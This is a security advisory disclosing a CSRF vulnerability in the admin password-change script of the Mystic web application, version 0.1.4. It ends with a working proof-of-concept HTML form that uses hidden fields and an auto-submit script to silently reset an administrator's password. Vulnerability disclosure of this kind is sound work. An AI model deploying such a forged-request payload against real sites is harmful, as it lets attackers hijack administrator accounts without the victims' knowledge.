Vulnerability ID: HTB22533 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_mystic.html Product: Mystic Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/mystic ) Vulnerable Version: 0.1.4 and Probably Prior Versions Vendor Notification: 27 July 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the admin/change_password script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/change_password"; method="post" name="main" > <input type="hidden" name="user[password]" value="12345" /> <input type="hidden" name="user[password_confirmation]" value="12345" /> <input type="hidden" name="commit" value="Change Password" /> </form> <script> document.main.submit(); </script>
